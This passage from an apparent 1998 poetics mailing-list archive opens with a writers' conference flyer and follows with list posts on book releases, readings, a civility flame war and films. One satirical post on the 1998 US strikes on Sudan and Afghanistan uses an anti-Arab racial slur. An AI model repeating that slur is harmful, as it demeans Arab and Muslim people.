and short fiction, and by USL writer Martha Hixon in children's fiction. In addition, the Council for the Development of French in Louisiana will sponsor a workshop for poetry and fiction in French. Enrollment in the workshops is limited to ten participants per workshop on a first-come basis, and involves a supplementary fee of $40 for each workshop. If the demand for workshops exceeds expectations, additional workshops will be scheduled. Writers wishing to enroll in one or more of these workshops should send their manuscripts to:

Dr. Jerry McGuire
Deep South Writers Conference
English Department, Box 44691
Lafayette, LA 70504-4691.

For poetry manuscripts, please submit 3 poems, typed. For prose manuscripts, submit up to 15 pages typed, double-spaced.

Do the Poetry Crawl

In keeping with our outdoor emphasis, writers and artists are encouraged to come with nature and the environment in mind. As before, the graduate students in the Creative Writing Concentration will host an open-microphone reading for all conference participants who would like to read from their work. This year's open reading will feature its own outdoor dimension, however, as members are encouraged to join in a moveable feast of

readings in selected venues in the Lafayette community. After Saturday night's reading Jodi Picoult and Ernest Gaines, we'll gather up our forces and move from place to place (at each of these good food and/or drink will be available for the hungry, thirsty gang), giving open readings as we go. Come learn a little

more about Lafayette's literary scene, and be part of the most literate floating opera in the state!

The Deep South Writers Conference Contest Results

As in years past, the winners of the various categories of the Deep South Writers Conference Contests will be honored at a special ceremony preceding Friday night's reading by Brian Andrew

Laird and William Pitt Root. The winning authors in the categories of Short Fiction, Young Adult Fiction, Children's Fiction, Novel, French Poetry, and French Prose will be announced, as will the winners of the Ethel Harvey Award (Nonfiction), the John Z. Bennett Award (Poetry), the Paul T. Nolan Award (One-Act Play), and the James H. Wilson Award (Full-Length Play). Winners, contenders, and future hopefuls are encouraged to attend the ceremonies. After the reading, we'll convene at David Thibodaux's house for refreshments, where the editors (and many of the writers) of the special Nature issue of Many Mountains will unveil their work.

Special Events

Thursday: •Film: The Last Seduction
Friday: •Presentation of the special Nature issue of Many
Mountains Moving
Saturday: •The Poetry Crawl
Thursday-Sunday
•Video: Six Louisiana Artists Speak Out (interviews/discussion
featuring poet Darrell Bourque, photographer Debbie Caffery,
songwriter David Egan, dancer Cissy Whipp, and visual artists
Elmore Morgan and Francis Pavy).
•Exhibition: Interart Collaborations between poets and
photographers, organized by Lynda Frese and Jerry McGuire
•Exhibition: Photographs of Mexican roadside crosses and shrines
by Paige DeShong, with poems by border poets in response to the
photographs (presented in connection with the folklore panel on
Cemeteries, Death & Dying, and Creative Writers)

Conference Registration: How to Be a Part of the Weekend

There is a $40.00 registration for the conference which rises to $50.00 after September 11th. The Deep South Writers Conference is

one of the most affordable writing conferences in the United States, due in large part to the support received from sponsors, without whom a gathering of talent like this would not be possible. The program is supported by a grant from the Louisiana Division of the Arts, by a Partnership Award from the Acadiana Arts Council, and by the Department of English and the College of

Fine Arts at the University of Southwestern Louisiana. But the greatest measure of The Conference's success continues to be the enrollment of writers who wish to contribute to and benefit from such a gathering. Registration (see page

3 for schedule and registration form) includes lectures, panel discussions, and special events. For more information, interested writers and artists may contact Jerry McGuire at [redacted], or by email at

[redacted], or write to:

Deep South Writers Conference
English Department, Box 44691
University of Southwestern Louisiana
Lafayette, LA 70504-4691

And check out our website:
http://www.usl.edu/Departments/English/
(when you're there, click on "Deep South Writers Conference").

Lodging and Accommodations

We have arranged for several hotels to provide rooms at special conference rates. Please call one of the following, and be sure to tell them when making your reservation that you are attending the USL Deep South Writers Conference:

Holidome, 2032 NE Evangeline Thruway ([redacted]; [redacted]); one rate of $60. Reserve by Sept. 12.
Comfort Inn, 1421 SE Evangeline Thruway ([redacted]); $52 single, 57 double (all rooms have one queen-sized bed only). Reserve by Sept. 12.
Ramada Inn, 120 E. Kaliste Saloom Rd. ([redacted]); one rate of

$50. Reserve by Sept. 12.
Travelodge, 1101 West Pinhook Rd. ([redacted]), one rate of $45. Reserve by Sept. 12.

We're looking forward to a great conference-please come join us!

DEEP SOUTH WRITERS CONFERENCE SCHEDULE OF EVENTS

Thursday, September 24

7 pm Film: The Last Seduction, Bayou Bijou Theater, Student Union
9 pm Q & A with Last Seduction screenwriter Steve Barancik

Friday, September 25

10-12 Workshop/Craft Lecture: Mystery Writing—Laird
10-12 Workshop: Creative Non-Fiction—Luis Urrea and Uschuk
10-12 Workshop: Poetry—Denise Rogers
10-12 Workshop: Fiction—Picoult

Noon: Lunch with authors

1:30-2:30 Craft Lecture: Nature Writing—Gessner
1:30-3:30 Workshop: Short Fiction—George Clark
1:30-3:30 Workshop: Poetry—Root
3:30-4:30 Craft Lecture/Workshop: Journalling–Luis Urrea and Uschuk
3:30-4:30 Reading: National Writing Project
4:30-5:30 Reading—Gessner and Uschuk
4:30-6 Workshop: Children's Fiction—Iskander
7 Awards Ceremony for 1998 Deep South Writers Contest
7:30 Featured Readings—Laird and Root, Fletcher Hall 134
9 Party at David Thibodaux's; with kickoff of Many Mountains Moving Nature Issue

Saturday, September 26

8-10 Hospitality and coffee at the Alumni House, book signings by all featured authors
9:30-11 Craft Lecture/Workshop: Screenwriting with Steve Barancik
10-11 Fiction Workshop for Beginners
10-11 Poetry Workshop for Beginners
10-12 Workshop: Nature Writing with Gessner and Uschuk
11-12 Craft Lecture: Reporting and Creative Non-Fiction—Cindy Urrea
11-12 Panel: Interart Collaboration

Noon: Lunch—"Caravans" to local restaurants

1:30-2:30 Panel: The Genre Voice—Finding a Voice and Exploring a Market
2:30-3:30 Pedagogy Panel: Genre Fiction and the Creative Writing Classroom
2:30-3:30 Craft Lecture: Poetry—Bourque, McGuire, Root
3:30-4:30 Folklore Panel/Exhibition: Cemeteries, Death & Dying, and the Creative Writer, with Gaudet, Rikki Clark, DeShong
5 The Louisiana All-Stars Reading, Lafayette Public Library
7 Featured Reading—Piqoult and Gaines, Fletcher Hall 134
9 Poetry Slam/Poetry Crawl/Open Mike—various locations to be announced

Sunday, September 27

9 Hospitality
10 Who wants what I write? Panel of Editors:
12 Closing Ceremonies

REGISTRATION AND FEES FOR THE
1998 DEEP SOUTH WRITERS CONFERENCE

Please fill out, detach, and mail to the address below:

Name_____
Address_____
_____
_____
_____
_____
Telephone_____email_____

PRE-REGISTRATION AND REGISTRATION
Pre-Registration
Fee.....$40.....
_____

Registration fee After September
9.....$50.....
_____

USL Students with
ID.....free.....

_____

Other Students with
ID.....$25.....

_____
_____

WORKSHOP FEES ($40 FOR ONE WORKSHOP;
$20 FOR EACH ADDITIONAL WORKSHOP)

Please put an X beside the ones for which you wish to register:

Poetry Workshop—William Pitt Root.....
Poetry Workshop—Denise Rogers.....
Fiction Workshop—Jodi Picoult.....
Fiction Workshop—George Clark.....
Creative Non-Fiction—Luis Urrea
and Pamela Uschuck.....
Craft Lecture/Workshop in Screenwriting--

Steve Barancik.....
Craft Lecture/Workshop in Journaling—
Urrea and Uschuck.....
Craft Lecture/Workshop in Mystery Writing—
Brian Andrew Laird.....
Craft Lecture/Workshop in Nature Writing—
David Gessner and Uschuck.....
Children's Fiction Workshop—
Marcia Hixon.....
CODOFIL Workshop: Poetry and Fiction
in French.....
Beginners Poetry Workshop with USL
Graduate Creative Writers ($20).....
Beginners Fiction Workshop with USL
Graduate Creative Writers ($20).....

Please indicate which fees you are paying (by placing an X after the dotted line following the entry) and return this form with your check made payable to: DEEP SOUTH WRITERS CONFERENCE. Send form and check (please be sure to specify name of participant, if different from name on check) to this address:

Deep South Writers Conference
English Dept., Box 44691
University of Southwestern Louisiana
Lafayette LA 70504-4691

Please call or email Jerry McGuire with any further questions:

telephone: [redacted]
email: [redacted]

The program is supported in part by a grant from the Louisiana Division of the Arts and by a Partnership Award from the Acadiana

Arts Council, with funds provided by the City of Lafayette, the Lafayette Parish Council, and the National Endowment for the Arts.

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462. k.a. hehir
new from housepress: keyboard po (e/li)tics
Thu 20 Aug 1998

---

this came into my box. does anyone know more about it?
kevin

Keyboard Po(e/li)tics
>
> exploring the "pataphysics of the keyboard.
>
>
>
> house press is pleased to announce the release of KEYBOARD
> PO(E/LI)TICS by neil hennessy and d.a.beaulieu. inspired by the
work
> of bpNichol and steve mcCaffrey's TRG (toronto research group) and
> other works of Canadian "pataphysics (the impossible science of
> literature), KEYBOARD PO(E/LI)TICS explores the politics and
poetics
> of the qwerty keyboard through postcards, chapbooks and concrete
> poetry
>
>
> keyboard po(e/li)tics
>
> ISBN 1-894174-07-0
>
> limited edition of 40 handbound & printed copies
>
> (consisting of 2 chapbooks, 5 postcards, 3 broadsheets
>
> and a handprinted linocut envelope)
>
> $12.50
>
> contact housepress at:
>
> [redacted]
>
>
>

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463. **R M Daley**

Re: Writer on Line Interview/reactionatinquery

Thu 20 Aug 1998

On Wed, 19 Aug 1998, George Thompson wrote:

> *im offended.*
>
> *Dear R M Daley,*
>
> *I find this kind of post utterly useless and a painful waste of time. No context, no substance. I've begun to automatically delete this kind of post from the various lists that I listen to, when I figure out the sort of people who like this sort of thing, and who are prone to it.*
>
> *If you want me to read your posts, please give me a reason to. Otherwise, deletion will be automatic.*
>
> *GTh*

///dammitjosh/*alltoo reactionary queriesOURTIME/OUTfuck and nowour-PUBLICSCOLDINGSJOSHitstoomuchjosh gETOFFMYSPAMnotheotherkindof uckthatsrectangularalll somtime slipperyTOME babyTIME, stupid/late teafor ourstarfishand coffe, hey tonight its the wharfand drinkson me, topshelf-GRABmy comix no the german kind right...fine mess we're in now eh j these sa-lons can get to a hardworkin girl if you dont keep an eye on the delivery and the means- MY DELIVERYYOUR means - heard the one about the pyschiatrist and the three pink poodles babe no the pink pychiatrist actually- SHO TASTE GOOD- name of our band yeah howzat do ya fer@@@@@@@@@@@@@@ARTILLERYS IN PLACE SARGEXXXXXMAINTAIN POSITION RIGHT FLANK TO COVERXXXXXSCATTERING POSITIONWE CANT HOLD EM HLOD EM XXXXTO YOUR FEET go go go - LAST TIME out of feet eating sox- undel

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464. George Thompson
Re: Writer on Line Interview/reactionatinquery
Thu 20 Aug 1998

Thanks. Now I know what to do with your posts.

GT

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465. **R M Daley**

Re: Writer on Line Interview/reactionatinquery

Thu 20 Aug 1998

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> *Thanks. Now I know what to do with your posts.*

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> *GTh*
>
> *///dammitjosh/*alltoo reactionary queriesOURTIME/OUTfuck and nowourPUBLICSCOLDINGSJOSHitstoomuchjosh gETOFFMYSPAMnotheotherkindof uckthatsrectangularalll somtime slipperyTOME babyTIME, stupid/late teafor ourstarfishand coffe, hey tonight its the wharfand drinkson me, topshelfGRABmy comix no the german kind right...fine mess we're in now eh j these salons can get to a hardworkin girl if you dont keep an eye on the delivery and the means- MY DELIVERYYOUR means - heard the one about the pyschiatrist and the three pink poodles babe no the pink pychiatrist actually- SHO TASTE GOOD- name of our band yeah howzat do ya fer@@@@@@@@@@@@@@ARTILLERYS IN PLACE SARGEXXXXXMAINTAIN POSITION RIGHT*
> *FLANK TO COVERXXXXXSCATTERING POSITIONWE CANT HOLD EM HLOD EM XXXXTO YOUR*
> *FEET go go go - LAST TIME out of feet eating sox- undel*

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466. **david bromige**

Rudeness on the List

Thu 20 Aug 1998

Then God says to the financier, "Go to more off-Broadway shows." Then God says to the panhandler, "Get a job!"

If Peter Balestrieri is annoyed with David McFadden for gently reprimanding Laura Wright's mistake, what shall we think of Peter Balestrieri for rudely reprimanding David McFadden's mistake?

I shall prefer the gentle correction to the rude one. There is so much of self-glorification in Peter Balestrieri's rudeness; that's what makes it hard to take. So he has a Poetic License to Kill, huh? Kinda makes a fella want to not wait for The Law.

In shooting David McFadden from the hip, Peter Balestrieri overlooked the possibility that David McFadden did _not_ recognize Laura Wright had made a mistake; if someone hasn't been on the List long, he might well not understand how her private dissection of Todd Baron had appeared before us all.

Are the Rude Planets in conjunction? For we also have the spectacle of R.Daley chewing up the carpet over George Thompson's correction. I have only been on the List a year and a half, but I have seen several previous outbursts of

rudeness--sometimes completely unprovoked, as far as one could tell, and I have seen a number of postings that suggest some kind of List-civility is looked for. In this respect, I don't see why the List should be any different than social intercourse in general. It's more interesting if it has some Mind in it.

Peter Balestrieri doesn't think that David McFadden should make anything out of Laura Wright's unfortunate posting, because it was a mistake. But when Peter Balestrieri posted that Todd Baron's pigeons had come home to roost, he himself was piggy-backing on Laura Wright's mistake. I'm sure this saying can also be found in Bartlett's Quotations : "The pot should not call the kettle black."

David

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467. George Thompson
Re: Writer on Line Interview/reactionatinquery
Thu 20 Aug 1998

> *On Thu, 20 Aug 1998, George Thompson wrote:*
>
> *Thanks. Now I know what to do with your posts.*
>
> *whazzat?*
>
> *jus wanna know whats so goldarn offensive?*

Okay. An answer, and that's it.

Not offensive. Just a waste of time.

Maybe I am older than you are.

I see before me just a dwindling fucking bit of daylight. Just a little.

If that is what you saw before you, would you waste your time reading your posts to this list?

I mean, why poetics?

And David Bromige is I bet older than I am.

GT

↑ Index

468. **Jay Schwartz**
Re: Rudeness on the List
Fri 21 Aug 1998

The bottom line in all of these ludicrous posts is the mistake of replying to the List instead of backchannel. A simple solution to all of these time-wasters:

1. Double-check in your replies that they are traveling to the correct destination.

2. If you intend to reply to an individual about a List-related matter, think very hard before you reply to the entire List. Think about if you were in a room with every List subscriber packed close enough to hear every word of your conversation. Is it interesting and useful public information?

All of the messages around the Todd Baron snafu should have gone backchannel to avoid embrassment and frustration for those of us who subscribe for information about the Poetry community.

We've been through this before. Ugh.

↑ Index

469. **shemurph**
the rude planets
Fri 21 Aug 1998

In a message dated 8/20/98 6:47:41 PM Pacific Daylight Time, [redacted] writes:

<< Are the Rude Planets in conjunction? >>

As a matter of fact, Mercury has been in retrograde, and will be until Sunday. If you have been feeling details going awry and things being exceptionally topsy turvy, your communications in a veritable snit 90% of the time, then you're about where you should be.

And that, friends, is the sum total of my astrological knowledge.

Sheila Murphy

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470. **R M Daley**
Re: Rudeness on the List
Fri 21 Aug 1998

---

hmm but writing on this list IS VERY DIFFERENT from speaking to each other in a room over cocktails and black tights and seems unique in this, like a license to pass notes in class and perhaps not MIND in front of all the teachers , and by the way the teachers are invited, and giving a push and a shove now and then

and personally and publicly in LIGHT very fading light or bright shiny floods rant in ways possible, as this is something presumably perhaps one thing in common on this group chat is all a raving interest in writing and reading and trying it out and putting it on - all diferent kinda ons I HOPE would be at least allowed, if comparisons serve, I have never been to a reading where someone voicing the least bit of dissonance or interest in playing with space in a breath or time on a page has been told they were wasting everyone's time--ie, isnt this just all protest against wasting it?!?is this possible??and if your time is being WASTED whose fault is that? chan says IF YOUR BORED > TRY IT FOUR MORE TIMES and if your're still bored, TRY IT TWENTY MORE TIMES - or turn off the TV

↑ Index

471. George Bowering
Re: more recent economist article
Fri 21 Aug 1998

> *Yes, Jordan, and the new _Economist_ article says something about Mark Doty's being "the finest American poet since Robert Lowell."*
>
> *Susan Schultz*

Okay. But who's Robert Lowell?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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472. Todd Baron /*/ ReMap
Re: Rudeness on the List: "I" is another and another and an other and...gee whiz...
Fri 21 Aug 1998

---

speaking as one "todd baron"--I find all of the assumptions, amusements, assertions, and eruditions on one , Todd Baron, to be of benefit to Mr. Baron's theory that "dismishes the self as a center of a poetics".

Speaking for myself.
"I" thank all who attack me--in the name
of me, myself, and I...

or as my mother used to sing.. "me and my shadow..."

yrs,

Mr. T

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473. Douglas
new Sun & Moon titles
Fri 21 Aug 1998

Sun & Moon Press is proud to announce
the publication of NOD by Fanny Howe.

In NOD, her ninth book of fiction, major American
novelist and poet Fanny Howe explores sibling
rivalry within a family that, in the advent of
World War II, is both disintegrating and stumbling
into the terrible, dark adulthood of the later half
of the Twentieth Century.
  Yet for all the dark forces at work in Howe's novel,
she presents also a world of wonder, of sexual awakenings
interlinked with the Irish countryside and culture
in which the girls grow up, the strange stories and
myths they heaar from the Norwegian north and retell
through their own highly-wrought imaginations. The central
figures of this fiction, Irene and Cloda, interact with
one another and the man who has encamped in their ghost-,
now guest-room, asif playing out the lives of the Brontes
to a packed theater audience.

Cloth only, $18.95, with a 20% discount to list members.

Also a reminder:

DURA, by Myung Mi Kim paper $11.95
MIRRORS, by Marcel Cohen paper $12.95 (a Green Integer book)
AFTER, by Douglas Messerli paper $10.95
WITH EACH CLOUDED PEAK, by Friederike Mayrocker (trans.
    by Rosmarie Waldrop) paper $11.95

are all available with a 20% discount to list members.

A subscription to our new international poetry journal,
MR. KNIFE, MISS FORK is $20.00 for two issues; the second
issue will be out in November.

Send orders via e-mail to [redacted]
Be sure to enclose your postal address.

Douglas Messerli

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474. J. Kuszai
Bellamy,Killian,Rothenberg BEYONDthePAGE in SanDiego
Fri 21 Aug 1998

BEYOND THE PAGE PRESENTS:

FOR IMMEDIATE RELEASE:

What: Beyond the Page continues its series of monthly performance and arts events with JEROME ROTHENBERG, DODIE BELLAMY, and KEVIN KILLIAN reading from and/or performing their works.

Where:
Faultline Theatre, 3152 5th Avenue (at Spruce in Hillcrest), San Diego.

When:
Sunday, August 30th. 4:00 PM.

Contact: Stephen Cope at [redacted] or Joe Ross at [redacted].
E-mail at
[redacted], or [redacted].

* * * * * * * * *

JEROME ROTHENBERG is an acclaimed experimentalist and a central figure in the areas of performance poetry, ethnopoetics, and, to borrow his own words, "that dada strain". He has published dozens of volumes of his own writing and edited numerous seminal anthologies, including the monumental _Poems for the Millenium: The University of California Book of Modern and Postmodern Poetry_, edited with Pierre Joris.

DODIE BELLAMY is the author of _Feminine Hijinx_ (Hanuman, 1990), _Real: The Letters of Mina Harker and Sam D'Allesandro_ (Talisman House, 1995) and _The Letters of Mina Harker_ (Hard Press, 1998), as well as three chapbooks, _Answer_ (Leave Books, 1992), _Broken English_ (Meow, 1996), and _Hallucinations_ (Meow, 1997).

KEVIN KILLIAN is a poet, novelist, critic and playwright. His books include _Bedrooms Have Windows_, _Shy_, _Little Men_, _Arctic Summer_ and _Argento Series_. With Lewis Ellingham he has written _Poet Be Like God: Jack Spicer and the San Francisco Renaissance_ (Wesleyan, 1998), the first biography of the important US poet.

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475. **daniel bouchard**

Terror on the tee vee: A Repeat

Fri 21 Aug 1998

By hitting hard in the face people who have hit you you may either deter future assaults or provoke them. The Booger of State spoke yesterday in the name of Decent People, like the revered Emperor Reagan of yesteryear, who once said "If we can find them, we will kill them." He did not find Them but instead had the children of the Hated Leader killed. This, 1986, in Libya, but Moral Superiority does not stop in Northern Africa only. No campground is too far. Why do terrorists attack Americans? A: because we are so good; it incites jealousy and resentment. That American soldiers have been killed in Beirut, Riyadh; why, people do not ask, are American military bases there? Nor has it come up that in the wake of the ‘strafing’ of Libya—"the price he’s going to have to pay for continued terrorism,"—did our tit for their tat in turn culminate in Flight 103 exploding over Lockerbie, Scotland.

Booger Albright of State: "this is the beginning of a long-term battle against terrorists."

Sudanese President Omar el-Bashir: "we reserve the right to respond to the American attack using all necessary measures."

Clinton, Executive Stud: "We will not yield to this threat. We will meet it no matter how long it may take."

Clinton’s Enemies praised the attacks but "questioned" the timing. They cited a fictional movie as a historical precedent.

Clinton, Top Dick: "This will be a long, ongoing struggle."

Senator Helms called the strikes "overdue" and added "sooner or later, terrorists will realize that America’s differences end at the water’s edge" a rather candid statement on the spirit of gleeful cooperation Leaders of the Free World engage in when unruly sandniggers get out of line.

How did we know who to bomb?, Critical Minds asked. The curious were directed to the CIA Web Page for Children
<<http://www.odci.gov/cia/ciakids/index.html>>

"Afghanistan and Sudan have been warned for years to eat their vegetables," Clinton said.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals

Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<

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476. **J. Kuszai**
back in the saddle
Fri 21 Aug 1998

---

after a long, arduous, journey through the American Southwest, including two nights with William R. Howe and his mother in Lubbock Texas, me, bubby and moby have all landed safely here in this beach town (read desert). First thing Moby did was to kill a pretty good size lizard; holding it down with one paw, she ruthlessly hammered it with the other--claws full ablaze. My what pests you have here!

anyhow- I'm slowly getting settled here. note new email address: [redacted]

because I have not finished my degree and will remain registered at SUNY Buffalo until then, my email there will remain valid and for reasons of convenience the meow press site will also stay there for now.

a couple of notes.

1. I am working on a response to Steve Dickison's lecture at Naropa--and wonder if there is interest in a series of dialogs on the small press poetry world. mostly my concern is with the economics, ethics, and the engineering of small press poetry production. I hope to produce at least one or as many as a a few chapbooks about this issue. My interest is various, from ideas about the relation of book production to the larger economic systems we participate in (abbreviated form) to very nuts and bolts HOW TO make a chapbook with a ten year old computer, a laser printer, and an oz. of desire to make it happen. Of course metaphysical ramblings about the meaning/value of chapbooks as a "form" or whatnot are also interesting. This is all in formation and I'd appreciate feedback, whether here or privately.

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Here is an exerpt from the Welcome Message, for those who need a remind:

"Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *Posting to Poetics is a form of publication, not personal communication.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!")."

↑ Index

477. **Jim McCrary**
Re: High West Rendezvous by Ed Dorn
Fri 21 Aug 1998

Is/has anyone on list reading/read this the latest from Ed Dorn, recently available from etruscan books? (SPD too). I've not been on list that long and may have been spoken too. That said I find his 'sample' from LANGUEDOC VARIORUM (A defense of hersey and heretics), as usual from Dorn, timely to not only this list but the global nonsense taking place these days.

mccrary

↑ Index

478. **Henry Gould**
2 queries
Fri 21 Aug 1998

Could someone backchannel an email address for Joel Felix - are you here, Joel?

thanks, beautiful people -

Henry Gould, old anti-intellectual anti-academic neanderthal grump

↑ Index

479. **David W. McFadden**
Fresh New Member!
Fri 21 Aug 1998

By way of introduction, and first impressions, after being happily logged on for a mere week, the Poetics List is everything it seemed to be when a certain old member first told me about it a year or two ago and urged me to join. Having

been involved in daily poetic practice for forty years I'm currently involved in tearing down various weatherbeaten theoretic structures and can;t resist the temptation to turn my head occasionally in search of new ones to take their place. What I wasn't prepared for was this spate of vindictiveness, this viaduct of spite, this river of resentment, a sort of Internet Road Rage. But even that has its own parochial fascination, like cowboy movies from the forties, and is part of the charm. Predictably, some have been inspired to complain even about my innocent little sig. files, but these people I understand completely, and I appreciate their perceptively caustic wit, especially when it's directed at le grand moi-meme. One can't waste one's precious time in trying not to be annoying, when it is one's nature pure and simple to be annoying, at least to people in a certain mental state. So, I am what I am, and if you find my posts (and my sig. files) excessively irritating please consider taking up a petition to have me evicted toot sweet. dwm "There is a mean poem about the Leid-Stadt, by a German man named Mr. Rilke. But we will not read it, because we are going to Happyville." - Thomas Pynchon, Gravity's Rainbow (1973).

↑ Index

480. **Kristen Gallagher**

address query

Fri 21 Aug 1998

---

anyone know how to find melanie nielson of _big allis_ fame?

much appreciation in advance.

↑ Index

481. **david bromige**

Rudeness on the List

Fri 21 Aug 1998

"All of the messages around the Todd Baron snafu should have gone back-channel" writes Jay Svchwartz. I beg to differ. Yes, all of the first round of such messages should have. But the cat once out of the bag, it had become a List-matter. In my view, it was necessary that I post in regarding the civility/rudeness thread, and to the List as an entirety, since I was taking issue with other List-wide messages.(In fact, I was doing no more than Jay is doing today : I am sure he sees my point) David

↑ Index

482. Billy Little
Re: Fresh New Member!
Fri 21 Aug 1998

---

dave is the greatest, be nice to dave, i wouldn't be surprised to see dave and kenneth koch toe to toe for the nobel prize this year or next . Dave's book There'll Be Another is even better than Gypsy Guitar and there's nothing better than Gypsy Guitar published by Talon Books, Vancouver.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
                the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

483. r. drake
Re: back in the saddle
Fri 21 Aug 1998

---

joel--

hope the trek was journey more than travail...

praps of interest, a recent piece in the balitimore sun

http://www.baltimoresun.com/cgi-bin/editorial/story.cgi?storyid=900000175834

on Cuban book artists...

and this: what kinds of difference does it make
if one has the option, *chooses*, limited editions
and handmade bookworks; as against being constrained
to such by economics/politics? how are the choices made
by soviet era samizdat publishers (editions of 12 'cause
that's the maximum number of carbons you can squeeze in
th typewriter) comparable to those of us who publish work
w/ constrained (by forces? by choice?) or limited audiences...

bests
luigi

> *a couple of notes.*
>
> *1.*
> *I am working on a response to Steve Dickison's lecture at Naropa--and wonder if there is interest in a series of dialogs on the small press poetry world.*
> *mostly my concern is with the economics, ethics, and the engineering of small press poetry production. I hope to produce at least one or as many as a a few chapbooks about this issue. My interest is various, from ideas about the relation of book production to the larger economic systems we participate in (abbreviated form) to very nuts and bolts HOW TO make a chapbook with a ten year old computer, a laser printer, and an oz. of desire to make it happen. Of course metaphysical ramblings about the meaning/value of chapbooks as a "form" or whatnot are also interesting. This is all in formation and I'd appreciate feedback, whether here or privately.*
>
> *2.*

↑ Index

484. **David Baratier**
Re: economists
Fri 21 Aug 1998

Why does Jordan keep wondering why people keep saying John Ashbery's poetry is difficult and humorless? Perhaps they thought A Wave was goodbye rather than hello. Especially when more pressing issues such as Bill Clinton's under the table payee arrangement to promote Wag the Dog, Todd Baron's dogish issue, and the new _Economist_ article's statement about Mark Doty being "the finest American poet since Robert Lowell" are full fathom five. The public is a shallow act.

Be well

David Baratier

And for George B. The extent of what most American's know can be found at:

http://www.robertlowell.com/

↑ Index

485. **Elizabeth Treadwell**
bullworthless (executive of color)
Fri 21 Aug 1998

Ok, I'll just jump on where the movies start. BULLWORTH. Star vehicle # 800010 approximately. Haven't actually seen it but have a story: a friend of mine was invited to an advance screening as a "[movie] executive of color" , realizing this once there and looking about the room, and being bombasted with

questions from Warren Beatty about how it struck, did it offend, blabla, and then told coyly by Annette Benning (Mrs Warren Beatty) "Wow, he really put you on the spot!". PUH-LEASE. Of course this is not a surprising hollywood story, but I am simply not willing to consider Warren, a playboy freak who can't act and is too old for me to even remember as mildly attractive, as some kind of vanguard figure, laying open new realms for us losers. This is crap, my dear Kent, I come down on that side of your question. To me there is something racist in the power dynamic of Mr. Beatty asking a young exec of color an opinion, when obviously he holds the power and is, I doubt, listening -- or if so, merely for his own gain.

Lover of Hollywood,
Elizabeth T.

ps if you want poets in movies, why not fake ones like Henry Fool, where we don't, thank heavens, actually have to hear the poem that's sposed to be so great. (I know Henry fool has been discussed already, as we here are fersure the target demo.)

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

486. **henry g**
flims
Fri 21 Aug 1998

Henry Fool - is this the one about the guy who doesn't know he's on TV? ah... huh?

- Henry ... Henry... ah, huh?

↑ Index

487. **Michael McColl**
Re: bullworthless (executive of color)
Fri 21 Aug 1998

On Fri, 21 Aug 1998 11:59:06 -0700 Elizabeth Treadwell said:
>Ok, I'll just jump on where the movies start. BULLWORTH. Star vehicle #
>800010 approximately. Haven't actually seen it but have a story: a friend
>of mine was invited to an advance screening as a "[movie] executive of

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>bombasted with questions from Warren Beatty about how it struck, did it
>offend, blabla, and then told coyly by Annette Benning (Mrs Warren Beatty)
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>a playboy freak who can't act and is too old for me to even remember as
>mildly attractive, as some kind of vanguard figure, laying open new realms
>for us losers. This is crap, my dear Kent, I come down on that side of your
>question. To me there is something racist in the power dynamic of Mr.
>Beatty asking a young exec of color an opinion, when obviously he holds the
>power and is, I doubt, listening -- or if so, merely for his own gain.
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>Lover of Hollywood,
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>ps if you want poets in movies, why not fake ones like Henry Fool, where we
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Well of course he can't be doing anything new or important if he's old and unattractive. but it's just a little presumptuous, don't you think, to *know* that he wasn't *really*.interested in the man's opinion, and Michael McCollracist for asking?

↑ Index

488. **MAYHEW**

Re: reactionary query

Fri 21 Aug 1998

"How has it come about that British society not only tolerates such an intelligentsia (for that is what any democratic society has to do), but applauds it and is proud of it? No democratic society has yet found a way to restrict the influence such people exert, and perhaps within democracy no way can be found."

--Donald Davie _Thomas Hardy and British Poetry_ (93)

Those pesky intellectuals.

"Apparently an American reviewer [of Tomlinson] had complained that the poet's persona was that of 'the considerate house guest.' .... And the British reader is bewildered? Would [he] have preferred an inconsiderate house guest? ... Is the American reader never satisfied until his poet has abused him, spat on his face, beaten him over the head?"

(p. 187)

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

489. Thomas Bell
Re: back in the saddle
Fri 21 Aug 1998

I have had it in mind for some time to do something similar on web sites as "small press publictions" - perhaps I need to do and not say. I would be interested in seeing opinions/discussion on the issue of whether web publications qualify as small press. What I have seen has been basically affirmative but of course for the most comes from those who have published or put a site on the web.

tom bell

J. Kuszai wrote:
>
> after a long, arduous, journey through the American Southwest, including two
> nights with William R. Howe and his mother in Lubbock Texas, me, bubby and moby
> have all landed safely here in this beach town (read desert). First thing Moby
> did was to kill a pretty good size lizard; holding it down with one paw, she
> ruthlessly hammered it with the other--claws full ablaze. My what pests you
> have here!
>
> anyhow- I'm slowly getting settled here. note new email address:
> [redacted]
>
> because I have not finished my degree and will remain registered at SUNY

> Buffalo until then, my email there will remain valid and for reasons of
> convenience the meow press site will also stay there for now.
>
> a couple of notes.
>
> 1.
> I am working on a response to Steve Dickison's lecture at Naropa--and wonder if
> there is interest in a series of dialogs on the small press poetry world.
> mostly my concern is with the economics, ethics, and the engineering of small
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> feedback, whether here or privately.
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> I have been reading the digests with great concern. You may have thought that
> my transport to California would mean that there were no polzei minding the
> store. Well I can assure you that I have my jack-boots on and I'm as quick as
> CHPs to give out Poetics Points for various infractions. The lastest is of
> course David Bromige, who once again reminds us of his legal training and
> expertise in motivational rhetoric. He also reminds me that I have kin in
> Sonoma County.
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> Here is an exerpt from the Welcome Message, for those who need a remind:
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> where possible, to try to avoid taking what may be something close to a

> spontaneous comment made in the heat of exchange as if it were a revised or
> edited essay ("Let the Reader Beware!")."

↑ Index

490. Scott Pound
Re: Bullworth
Fri 21 Aug 1998

